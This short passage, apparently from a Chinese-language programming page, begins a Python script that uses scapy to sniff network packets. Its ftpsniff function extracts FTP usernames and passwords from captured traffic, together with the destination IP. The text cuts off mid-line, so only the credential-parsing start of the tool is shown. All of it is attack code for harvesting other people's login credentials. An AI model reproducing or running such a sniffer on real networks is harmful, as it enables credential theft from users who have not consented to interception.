代码: #!/usr/bin/python #--*--coding=utf-8--*-- import optparse from scapy.all import * def ftpsniff(pkt): dest = pkt.getlayer(IP).dst raw = pkt.sprintf('%Raw.load%') user = re.findall('(?i)USER (.*)', raw) pswd = re.findall('(?i)PASS (.*)', raw) if us